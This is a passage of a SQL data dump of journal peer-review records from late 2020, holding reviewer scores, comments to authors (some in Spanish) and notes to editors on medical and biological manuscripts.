relevance to the references below. The author may cite the references in the short communication.\r\nREFERENCES:\r\nA.	Dong Y, Zhu H. Single-strand conformational polymorphism analysis: basic principles and routine practice. Methods Mol Med. 2005;108:149-57. \r\nB.	Gupta V, Arora R, Gochhait S, Bairwa NK, Bamezai RN. Gel-based nonradioactive single-strand conformational polymorphism and mutation detection: limitations and solutions. Methods Mol Biol. 2014;1105:365-80. \r\n\r\n','','2020-12-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2761,15340,6689,NULL,'6','g','y','y','y','Accept this research work without any changes.','Accept this research work without any changes.','2020-12-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2762,15533,6797,NULL,'5','y','y','y','y','Author presented an interesting study. Worth publishing in this journal. This subject could be of great interest to the research community and could be largely used in the future. The text adds useful information. The results were discussed from multiple angles and placed into context without being over-interpreted. ','Author presented an interesting study. Worth publishing in this journal. This subject could be of great interest to the research community and could be largely used in the future. The text adds useful information. The results were discussed from multiple angles and placed into context without being over-interpreted. ','2020-12-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2763,14994,6782,NULL,'5','G','Y','Y','Y','This is a well written paper ,it may add new data to the literature. There are some questions: \r\n1.Are there any criteria for NCSE,if there are criteria write it clearly in the manuscript. \r\n2.did you exlude paroxysmal atrial tachycardia because there is a risk factor which is alcohol intoxication. \r\n3.any previous study or case report similar to your case report. If yes you should add them in the discussion section for comparison. ','Thank you very much for asking me to review this article in your reputable journal. Iam ready to participate at any time. Don\'t hesitate to contact me.','2020-12-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2768,11355,6765,NULL,'3','R','Y','Y','y','     This manuscript reviewed the potential functions of miRNA to against biotic and abiotic stress in plants and to treat the human cancer. The manuscript is not well organized. There are several points need to be taken into notice.\r\n1.	There are a lot of grammatical and typing mistakes. \r\n2.	Many descriptions are not accurate, for Exs, \r\n1)There are 4 kinds of DCL, not only DCL1. \r\n2)Small RNAs can be divided into 4 classes, not only 3 (the fourth class is transfer RNA).\r\n        3. Short abbreviations should be given full name. \r\n        4. It better to cite more most recently paper.\r\n         5. The format of reference is not consistent.\r\n','','2020-12-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2770,14805,6863,NULL,'5','d','N','N','N','Interesting work. I congrats the authors ','','2020-12-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2776,13180,6862,NULL,'5','g','y','y','y','Accepted for publication. The article has detailed information about the research.','Can proceed further.','2020-12-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2777,9154,6043,NULL,'4','g','y','m','y','This is an interesting study on the sustained release of nail lacquer with the different combinations for the treatment of onychomycosis. Finally he clearly mentioned that the nail lacquer of luliconazole was successfully developed as can serve as a alternative to ameliorate patients.','This is an interesting study on the sustained release of nail lacquer with the different combinations for the treatment of onychomycosis. Finally he clearly mentioned that the nail lacquer of luliconazole was successfully developed as can serve as a alternative to ameliorate patients.','2020-12-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2778,5467,6873,NULL,'5','g','y','y','y','- This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references and organize in numerical order\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per research\r\n\r\n','','2020-12-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2779,13225,6253,NULL,'4','G','Y','Y','Y','The article entitled \"The impact of 24-hour ambulatory EEG in the clinical approach to patients with suspected epilepsy\" is a research article which explain the aEEG of patients with suspected epilepsy, addressing  its specificity and sensitivity for the clinical diagnosis of epilepsy. And found that The aEEG can be a useful tool to assess patients with suspected epilepsy and normal routine and sleep-deprived EEGs, or in cases of suspected non-epileptic seizures, especially to exclude the epilepsy diagnosis given its high specificity. This approach can lessen the time required to identify the diagnosis. The article is very interesting and useful for future study. With proper figures and tables the author explains it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','The article entitled \"The impact of 24-hour ambulatory EEG in the clinical approach to patients with suspected epilepsy\" is a research article which explain the aEEG of patients with suspected epilepsy, addressing  its specificity and sensitivity for the clinical diagnosis of epilepsy. And found that The aEEG can be a useful tool to assess patients with suspected epilepsy and normal routine and sleep-deprived EEGs, or in cases of suspected non-epileptic seizures, especially to exclude the epilepsy diagnosis given its high specificity. This approach can lessen the time required to identify the diagnosis. The article is very interesting and useful for future study. With proper figures and tables the author explains it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','2020-12-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2780,11519,6761,NULL,'4','6','6','5','6','its a basic need of todays time','nill','2020-12-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2782,11355,6731,NULL,'4','G','Y','Y','Y','This manuscript studied the contact tracing of pulmonary tuberculosis in Sri Lanka. PTB is very serious problem in many developing country should cause people attention?The manuscript is well organized. It is in the scope of this journal. The English expression is well. The data presentation is good. However there are some minor points need to be taken into notice.\r\n1.	The abbreviations, like TB ,PTB etal , should be given full name.\r\n2.	The paragraph ‘There are several studies carried out …….’ Should has reference.\r\n3.	In the discussion part , paragraph 3. Should the ‘developed country ‘be ‘developing country’?\r\n4.	It seems there are still some grammatical errors, please double check.\r\n','','2020-12-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2786,11354,6731,NULL,'4','R','Y','Y','Y','This is a cross-sectional study on pulmonary tuberculosis. Figure 1 may be revised to what Y axis indicates. Please carefully proofread your manuscript.','','2020-12-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2789,15660,6880,NULL,'2','g','y','y','y','You must be encouraged to have chosen the topic of sarcomatioid variant of thyroid gland which majority of clinicians in their life time have not seen before and should be happy to learn about. Nevertheless, you need to read and learn more about sarcomatoid variant of thyroid carcinoma. Your introduction should be supported by references. The introduction should include the reasons why you decided to write the particular article. You need to be sure in your mind what type of operation you decided to undertake and you should describe clearly what was done during the operation, was the tumour totally excised, partially excised with residual tumour and you must describe the macroscopic features of the tumour in detail. You cannot make a diagnosis of sarcomatoid variant of thyroid carcinoma of thyroid alone but by the microscopy examination features supported by the immunohistochemistry staining studies of the tumour. You should discuss the differential diagnoses of sarcomatoid variant of thyroid carcinoma. Your conclusions should be related to lessons that need to be learnt from your case. I would assume that English is not your first language so the write and flow of the English is not impressive in some places as it should be. I have made many changes which I will send to the editor in Chief to be forwarded to you and if you agree with the changes you can add the changes to the major revision of the article you are going to undertake with a focus on sarcomatoid carcinoma of the prostate. Ideally you should include a picture of a microscopy examination feature of the tumour as well as a positive immunohistochemistry feature of one of the tumour markers used. Do not be disturbed please work hard towards the major revision.  ','the title is sarcomatoid carcinoma of the thyroid gland but the discussion has been  related to anaplastic carcinoma of the thyroid gland with no focus on sarcomatoid variant of thyroid gland. Because sarcomatoid variant of thyroid gland is rare, it is important that the manifestation, the diagnosis, treatment, as well as treatment outcome and the differential diagnoses including how they should be differentiated should be included. the microscopy haematoxilin and eosin staining features as well as the macroscopy examination features were not discussed. the immunohistomistry staining features of the tumour were stated but there was not a single picture illustrating a positive staining for any of the tumour markers. Lessons learnt from the study were not included. In the present form the paper needs to be rejected. But if the authors can be encouraged to re-write the article and discussed around sarcomatoid variant of thyroid gland this article can be improved for clinicians to know about the manifestation, diagnosis and treatment of this rare sarcomatoid variant of thyroid carcinoma. The flow of the English was not good in some areas and to encourage them to improve upon the write up of the English I have made many changes to their sentences which you can share with them to use and adapt from as a learning source in that all authors who submit articles for publication must be supported and guided to write their artcles up to standard. There may be a problem that the authors do not spaek english as their first language. ','2020-12-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2790,15675,6908,NULL,'6','G','Y','Y','N','Nothing','The manuscript contains an important message for the population to live healthy. In particular, people suffering from heart disease should be more careful so they can avoid COVID-19','2020-12-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2795,11355,6755,NULL,'2','R','N','Y','N','In this manuscript, the author introduced the procedure to reconstruct an organ. The manuscript was not organized well. The author should  write the manuscript according to this journal common format requirement. And it’s better to present the results by using this procedure. In addition, a lot of well known common-sense knowledge need not be introduced , and the abbreviation style should be consistent.','','2020-12-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2796,14805,6755,NULL,'2','d','N','N','N','The work presented seems of great impact on the scientific society. However, several aspects should be improved:\r\n\r\nMajor Comments\r\n-----------------\r\n\r\n1. I strongly recommend revising and improving the Introduction section. This part of the paper needs to provide the current knowledge related to the research carried out and then justifying the research question, the aim and the initial hypothesis.\r\n2. I recommend adding the initial hypothesis of the study explaining the novelty of your work.\r\n3. I recommend adding a flowchart summarising the steps described in the paper.\r\n4. I recommend better discussing the advantages and disadvantages of using that technique respect to other existing methods\r\n5. I recommend adding and discussing future works and limitations.\r\n6. Please consider adding an abstract.\r\n7. Please consider improving the reference section adding more past studies done in this field.\r\n','','2020-12-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2801,11355,6880,NULL,'5','R','Y','Y','Y','The author reported a female patient with scarcomatoid anaplastic carcinoma. The manuscript is well written. English expression is good. The pictures were well presented. The manuscript is ready for being accepted.','','2020-12-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2812,10685,6782,NULL,'4','r','d','m','n','Dear Author,\r\nThe content of the manuscript is interesting, and I recommend to publish it, but may you please add \'\'What are the limitations of the study?\'\'\r\n','','2020-12-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2813,15588,6707,NULL,'5','d','n','y','n','The patients sample covered by the study is old as of 2012 and the references used in writing are somewhat outdated we are at the last days of 2020 and i wish u happy and Merry Christmas.','The patients sample covered by the study is old as of 2012 and the references used in writing are somewhat outdated we are at the last days of 2020 and i wish u happy and Merry Christmas.','2020-12-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2817,5467,6663,NULL,'4','G','y','y','y','- This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references and organize in numerical order\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per research\r\n','','2020-12-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2827,15676,6908,NULL,'6','G','Y','Y','Y','It\'s good paper and good information about people  with heart to avoid COVID-19','','2020-12-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2830,5467,6944,NULL,'5','g','y','y','y','- This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references and organize in numerical order\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per research\r\n','','2020-12-21',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2831,5467,6944,NULL,'4','g','y','y','y','- This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references and organize in numerical order\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per research\r\n','','2020-12-21',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2835,11354,6755,NULL,'3','R','Y','Y','Y','This is describing the methods on organ engineering. Please indicate that this is method description and follow the journal\'s format. Careful proofreading is needed.','','2020-12-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2837,13180,6860,NULL,'5','g','y','y','y','I have gone through the complete article & find interesting. All the points in the article is well described.','Can proceed further with this article','2020-12-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2838,12972,6860,NULL,'5','R','y','y','y','I have gone through the article & the research has been done in very detailed manner.','Can proceed further.','2020-12-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2842,14994,6851,NULL,'1','D','N','Y','N','Based on the available data at this time ,hydroxychloroquine and chloroquine are not effective for treating or preventing covid19. \r\nThough some small studies initially suggested that the medications may be helpful,many other large studies revealed no benefit. \r\nThe FDA has stated that it was no longer reasonable to believe that ,hydroxychloroquine and chloroquine were effective in treating covid19 patients. ','Dear Editor, thank you very much for asking me to review this manuscript. \r\nUnfortunately this manuscript is not well written. There are a lot of English mistakes. \r\nThe article is not valid because ,hydroxychloroquine and chloroquine are no longer used to treat covid19 patients. ','2020-12-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2843,15676,6944,NULL,'5','G','Y','Y','Y','Good article about drug OD','','2020-12-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2855,7021,6865,NULL,'4','R','Y','Y','Y','This study describes the antioxidant efficiency of selenium and tellurium derivatives of 4-dimethylaminopyridine. Table 1 may be revised to emphasize the differences between selenium and tellurium. The careful proofreading and explanation for abbreviations in figures and tables are needed.','','2020-12-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2862,11354,6880,NULL,'4','R','Y','Y','Y','This is a case report on sarcomatoid anaplastic carcinoma of the thyroid. Please re-check the reference citations. Careful proofreading is needed.','','2020-12-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2874,9908,6826,NULL,'4','g','y','y','y','Leí este manuscrito y creo que en su forma actual no tiene el nivel requerido para ser publicado.\r\nSugiero que, por favor, los autores revisen los siguientes comentarios y reescriban el texto:\r\n-Título:\r\n“ciudad guzmán” se escribe con mayúsculas (Ciudad Guzmán).\r\n-Resumen:\r\nEs muy largo; Debe resumirse.\r\nEl resumen debe proporcionar contexto o antecedentes para la investigación y debe mencionar su propósito, los procedimientos básicos (selección de sujetos para el estudio y métodos), los principales hallazgos (proporcionando los tamaños de los efectos específicos y su significación estadística, si es posible) y la principales conclusiones. Debe hacerse hincapié en aspectos nuevos e importantes del estudio o las observaciones. La estructura a seguir es: Objetivo, Ubicación, Participantes, Intervenciones, Principales mediciones, Resultados y Conclusiones.\r\n-Introducción\r\nEs demasiado pobre.\r\nEsta sección describe los objetivos del trabajo, basados en los fundamentos apropiados. Evite realizar una revisión detallada de la literatura o resumir los resultados.\r\n-Cuestionario:\r\n¿Cuáles fueron la confiabilidad y validez de este cuestionario?\r\n¿Se realizó la prueba piloto?\r\n-Resultados:\r\nEsta sección realmente falta\r\n-Discusión:\r\nEsta sección es un poco pobre y se puede mejorar.\r\nLos resultados no se repiten en esta sección.\r\nEn este apartado los autores deben comentar las limitaciones del diseño utilizado, la comparación de sus resultados con la literatura científica, tratando de explicar los desacuerdos que se observan; la aplicabilidad práctica de los resultados, haciendo una valoración de su relevancia clínica; y directrices para futuras investigaciones sobre este tema.\r\n-Referencias:\r\nNo hay referencias. Deben incluirse referencias\r\n-Palabras clave:\r\nPara las palabras clave, se debe utilizar la lista de términos descriptores de ciencias de la salud (Medical Subject Headings, MeSH) de Index Medicus (disponible enhttps://www.nlm.nih.gov/mesh/meshhome.html\r\nhttps://meshb.nlm.nih.gov/search)\r\n','Leí este manuscrito y creo que en su forma actual no tiene el nivel requerido para ser publicado.\r\nSugiero que, por favor, los autores revisen los siguientes comentarios y reescriban el texto:\r\n-Título:\r\n“ciudad guzmán” se escribe con mayúsculas (Ciudad Guzmán).\r\n-Resumen:\r\nEs muy largo; Debe resumirse.\r\nEl resumen debe proporcionar contexto o antecedentes para la investigación y debe mencionar su propósito, los procedimientos básicos (selección de sujetos para el estudio y métodos), los principales hallazgos (proporcionando los tamaños de los efectos específicos y su significación estadística, si es posible) y la principales conclusiones. Debe hacerse hincapié en aspectos nuevos e importantes del estudio o las observaciones. La estructura a seguir es: Objetivo, Ubicación, Participantes, Intervenciones, Principales mediciones, Resultados y Conclusiones.\r\n-Introducción\r\nEs demasiado pobre.\r\nEsta sección describe los objetivos del trabajo, basados en los fundamentos apropiados. Evite realizar una revisión detallada de la literatura o resumir los resultados.\r\n-Cuestionario:\r\n¿Cuáles fueron la confiabilidad y validez de este cuestionario?\r\n¿Se realizó la prueba piloto?\r\n-Resultados:\r\nEsta sección realmente falta\r\n-Discusión:\r\nEsta sección es un poco pobre y se puede mejorar.\r\nLos resultados no se repiten en esta sección.\r\nEn este apartado los autores deben comentar las limitaciones del diseño utilizado, la comparación de sus resultados con la literatura científica, tratando de explicar los desacuerdos que se observan; la aplicabilidad práctica de los resultados, haciendo una valoración de su relevancia clínica; y directrices para futuras investigaciones sobre este tema.\r\n-Referencias:\r\nNo hay referencias. Deben incluirse referencias\r\n-Palabras clave:\r\nPara las palabras clave, se debe utilizar la lista de términos descriptores de ciencias de la salud (Medical Subject Headings, MeSH) de Index Medicus (disponible enhttps://www.nlm.nih.gov/mesh/meshhome.html\r\nhttps://meshb.nlm.nih.gov/search)\r\n','2020-12-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2876,15599,6538,NULL,'4','R','N','Y','Y','The content of this paper is relevant and can be utilised to inform similar studies with similar interventions with aims in improving patient flow through the ED.\r\nAlthough the content is great, this is written very poorly and not easy to understand. Please thoroughly revise the manuscript and write clearly and concisely utilising academic language. There are some places in the final paragraphs where words which don\'t make sense in the sentences have been inserted, are these typos? Please use headings as per journal specifications and adhere to the rules of writing numerals in academic writing (general rule if it is a number under ten, write the number as words. If the number has decimal places, use numerals for all parts of the number). Please amend paragraphs and sections using headings.\r\nIt is highly recommended that you proof read your work prior to submission to an academic journal.','This is unsuitable for publication as is - it is very poorly written. The topic is great and of significance to the Emergency Medicine specialty, but I have recommended the author revise the manuscript utilising academic language and proofread the manuscript prior to sumbission.','2020-12-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2878,11659,6840,NULL,'4','R','y','Y','Y','ANEMIA EN ENFERMEDAD RENAL CRONICA\r\nHe leído este manuscrito y creo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\nEs cierto que el texto no aporta nada a lo que se puede encontrar en los libros de texto especializados convencionales.\r\nEn cualquier caso, felicito a los autores.\r\nSugiero que, por favor, el autor revise los siguientes comentarios:\r\n-Comentarios generales:\r\nEn mi opinión, el artículo es excesivamente largo y debería acortarse.\r\nSugiero que los autores en lugar de repetir conceptos que se pueden encontrar en los libros de texto convencionales, se centren en aspectos controvertidos o no totalmente claros, etc., y utilicen un método de revisión sistemática en lugar de uno narrativo.\r\nEl texto no está escrito según el formato de un artículo científico: Resumen, Introducción, Métodos y Resultados.\r\n-Método:\r\nEn mi opinión, los autores deben dejar claro qué método se utiliza en el artículo.\r\nPor lo tanto, debería haber una sección de \"Método\".\r\n¿Está basado en una reseña? ¿Que tipo?\r\n¿Es un punto de vista personal?\r\n¿Se basa en una búsqueda de información no sistemática u oportunista?\r\n¿Se basa en la experiencia del autor?\r\nHay dos tipos diferentes de investigación de revisión de la literatura disponibles: revisión sistemática y revisión no sistemática o revisión narrativa (actualización).\r\nEl método tradicional de revisión de la literatura ha sido la revisión narrativa, pero tiene dos debilidades básicas. Primero, no existe una regla sobre cómo obtener datos primarios y cómo integrar los resultados; ese es el criterio subjetivo del revisor. En segundo lugar, el revisor narrativo no sintetiza cuantitativamente los datos encontrados en las diferentes publicaciones; por lo tanto, estas revisiones son muy susceptibles a inexactitudes y sesgos.\r\nLos autores deben aclarar las limitaciones de una revisión narrativa.\r\n-Referencias:\r\nLas abreviaturas de las revistas deben ajustarse a las de la Biblioteca Nacional de Medicina de EE. UU. Para Medline / PubMed (disponible en:https://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\n','ANEMIA EN ENFERMEDAD RENAL CRONICA\r\nHe leído este manuscrito y creo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\nEs cierto que el texto no aporta nada a lo que se puede encontrar en los libros de texto especializados convencionales.\r\nEn cualquier caso, felicito a los autores.\r\nSugiero que, por favor, el autor revise los siguientes comentarios:\r\n-Comentarios generales:\r\nEn mi opinión, el artículo es excesivamente largo y debería acortarse.\r\nSugiero que los autores en lugar de repetir conceptos que se pueden encontrar en los libros de texto convencionales, se centren en aspectos controvertidos o no totalmente claros, etc., y utilicen un método de revisión sistemática en lugar de uno narrativo.\r\nEl texto no está escrito según el formato de un artículo científico: Resumen, Introducción, Métodos y Resultados.\r\n-Método:\r\nEn mi opinión, los autores deben dejar claro qué método se utiliza en el artículo.\r\nPor lo tanto, debería haber una sección de \"Método\".\r\n¿Está basado en una reseña? ¿Que tipo?\r\n¿Es un punto de vista personal?\r\n¿Se basa en una búsqueda de información no sistemática u oportunista?\r\n¿Se basa en la experiencia del autor?\r\nHay dos tipos diferentes de investigación de revisión de la literatura disponibles: revisión sistemática y revisión no sistemática o revisión narrativa (actualización).\r\nEl método tradicional de revisión de la literatura ha sido la revisión narrativa, pero tiene dos debilidades básicas. Primero, no existe una regla sobre cómo obtener datos primarios y cómo integrar los resultados; ese es el criterio subjetivo del revisor. En segundo lugar, el revisor narrativo no sintetiza cuantitativamente los datos encontrados en las diferentes publicaciones; por lo tanto, estas revisiones son muy susceptibles a inexactitudes y sesgos.\r\nLos autores deben aclarar las limitaciones de una revisión narrativa.\r\n-Referencias:\r\nLas abreviaturas de las revistas deben ajustarse a las de la Biblioteca Nacional de Medicina de EE. UU. Para Medline / PubMed (disponible en:https://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\n','2020-12-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2894,12022,6843,NULL,'4','G','Y','y','y','Leí este manuscrito y creo que podría ser un texto aceptable si se aclaran y corrigen ciertos aspectos.\r\nEn cualquier caso, felicito a los autores por su esfuerzo.\r\nSugiero que, por favor, los autores verifiquen los siguientes comentarios:\r\n\r\n-Comentarios generales:\r\nEn mi opinión, el artículo es excesivamente largo y debería acortarse.\r\nEl texto debe estar redactado según el formato de un artículo científico: Resumen, Introducción, Métodos y Resultados.\r\n\r\n-Método:\r\nSe requiere una sección clara del método utilizado.\r\n\r\n-Resultados:\r\nSe requiere una sección clara de los resultados de la “revisión sistemática”.\r\nLos autores afirman haber realizado una Revisión Sistemática.\r\nPero en una revisión sistemática deben incluir, al menos, los siguientes datos:\r\n-¿Qué bases de datos se utilizaron? ¿Qué criterios de calidad científica y metodológica se utilizaron para elegir los artículos incluidos en la revisión?\r\n-Claridad acerca de las características metodológicas de los estudios que se incluirán o excluirán (por ejemplo, incluir solo ensayos controlados aleatorios).\r\n- Información sobre la validez (validez interna: se refiere a la capacidad de evitar errores o sesgos sistemáticos a través del diseño y realización del estudio, mientras que la validez externa se relaciona con la aplicabilidad de los resultados a una población específica) y la calidad de los estudios utilizados ( recomendaciones que se hacen con evidencia débil).\r\n-Debe existir algún sistema para reportar la calidad y fuerza de la recomendación, como el sistema GRADE (Indica hasta qué punto podemos confiar en que la estimación del efecto de la intervención es correcta y hasta qué punto podemos confiar en que la implementación de la recomendación traer más beneficios que riesgos).\r\n-Debe haber una determinación de la heterogeneidad.\r\n-Debe haber un análisis de subgrupos (a menudo es interesante examinar una categoría especial de participantes en la revisión (por ejemplo, mujeres, un grupo de edad o la gravedad de la enfermedad).\r\n- Existe una falta de determinación del sesgo de publicación (la recopilación de información debe ser integral; tanto estudios publicados como no publicados para evitar incurrir en sesgos de selección).\r\n\r\n-Referencias:\r\nLas abreviaturas de las revistas deben ajustarse a las de la Biblioteca Nacional de Medicina de EE. UU. Para Medline / PubMed (disponible en: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals)\r\n','Leí este manuscrito y creo que podría ser un texto aceptable si se aclaran y corrigen ciertos aspectos.\r\nEn cualquier caso, felicito a los autores por su esfuerzo.\r\nSugiero que, por favor, los autores verifiquen los siguientes comentarios:\r\n\r\n-Comentarios generales:\r\nEn mi opinión, el artículo es excesivamente largo y debería acortarse.\r\nEl texto debe estar redactado según el formato de un artículo científico: Resumen, Introducción, Métodos y Resultados.\r\n\r\n-Método:\r\nSe requiere una sección clara del método utilizado.\r\n\r\n-Resultados:\r\nSe requiere una sección clara de los resultados de la “revisión sistemática”.\r\nLos autores afirman haber realizado una Revisión Sistemática.\r\nPero en una revisión sistemática deben incluir, al menos, los siguientes datos:\r\n-¿Qué bases de datos se utilizaron? ¿Qué criterios de calidad científica y metodológica se utilizaron para elegir los artículos incluidos en la revisión?\r\n-Claridad acerca de las características metodológicas de los estudios que se incluirán o excluirán (por ejemplo, incluir solo ensayos controlados aleatorios).\r\n- Información sobre la validez (validez interna: se refiere a la capacidad de evitar errores o sesgos sistemáticos a través del diseño y realización del estudio, mientras que la validez externa se relaciona con la aplicabilidad de los resultados a una población específica) y la calidad de los estudios utilizados ( recomendaciones que se hacen con evidencia débil).\r\n-Debe existir algún sistema para reportar la calidad y fuerza de la recomendación, como el sistema GRADE (Indica hasta qué punto podemos confiar en que la estimación del efecto de la intervención es correcta y hasta qué punto podemos confiar en que la implementación de la recomendación traer más beneficios que riesgos).\r\n-Debe haber una determinación de la heterogeneidad.\r\n-Debe haber un análisis de subgrupos (a menudo es interesante examinar una categoría especial de participantes en la revisión (por ejemplo, mujeres, un grupo de edad o la gravedad de la enfermedad).\r\n- Existe una falta de determinación del sesgo de publicación (la recopilación de información debe ser integral; tanto estudios publicados como no publicados para evitar incurrir en sesgos de selección).\r\n\r\n-Referencias:\r\nLas abreviaturas de las revistas deben ajustarse a las de la Biblioteca Nacional de Medicina de EE. UU. Para Medline / PubMed (disponible en: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals)\r\n','2021-01-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2895,15660,6973,NULL,'2','G','Y','Y','Y','There are a number changes you need to make in order for your journal article to meet the standard for publication which means that you need to provide a major revision of the article including \r\n(A) A revision of the abstract with background aim method, results and conclusions. 